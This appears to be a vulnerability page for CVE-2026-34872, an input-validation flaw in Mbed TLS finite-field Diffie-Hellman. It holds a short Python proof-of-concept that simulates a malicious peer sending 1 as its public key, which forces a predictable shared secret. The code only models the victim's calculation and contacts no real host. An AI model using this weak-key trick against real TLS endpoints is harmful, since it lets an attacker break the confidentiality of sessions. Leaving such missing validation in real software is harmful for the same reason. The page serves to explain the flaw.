CVE-2026-34872 Mbed TLS FFDH输入验证漏洞

import hashlib # PoC Concept: Demonstrating the lack of contributory behavior # by forcing a weak shared secret via a malicious peer public key. # In a vulnerable FFDH implementation, sending a small integer # as the public key might not be properly validated. def simulate_vulnerable_dh(prime, vulnerable_peer_public_key): """ Simulates the shared secret calculation on the victim's side. Assumes the victim accepts the 'vulnerable_peer_public_key' without validation. """ # Victim's private key (random) victim_private_key = 12345 # Calculate shared secret: (peer_public_key ^ victim_private_key) % prime # If peer_public_key is 1, shared_secret is always 1. shared_secret = pow(vulnerable_peer_public_key, victim_private_key, prime) return shared_secret # Example parameters p = 0xFFFFFFFFFFFFFFFFC90FDAA22168C234C4C6628B80DC1CD129024E088A67CC74020BBEA63B139B22514A08798E3404DDEF9519B3CD3A431B302B0A6DF25F14374FE1356D6D51C245E485B576625E7EC6F44C42E9A637ED6B0BFF5CB6F406B7EDEE386BFB5A899FA5AE9F24117C4B1FE649286651ECE45B3DC2007CB8A163BF0598DA48361C55D39A69163FA8FD24CF5F83655D23DCA3AD961C62F356208552BB9ED529077096966D670C354E4ABC9804F1746C08CA237327FFFFFFFFFFFFFFFF # Attack: The attacker sends '1' as the public key malicious_public_key = 1 # Victim calculates shared secret secret = simulate_vulnerable_dh(p, malicious_public_key) print(f"[+] Malicious Public Key sent: {malicious_public_key}") print(f"[+] Calculated Shared Secret: {secret}") if secret == 1: print("[+] Vulnerability Confirmed: Shared secret forced to a predictable value (1).") else: print("[-] Validation may be in place.")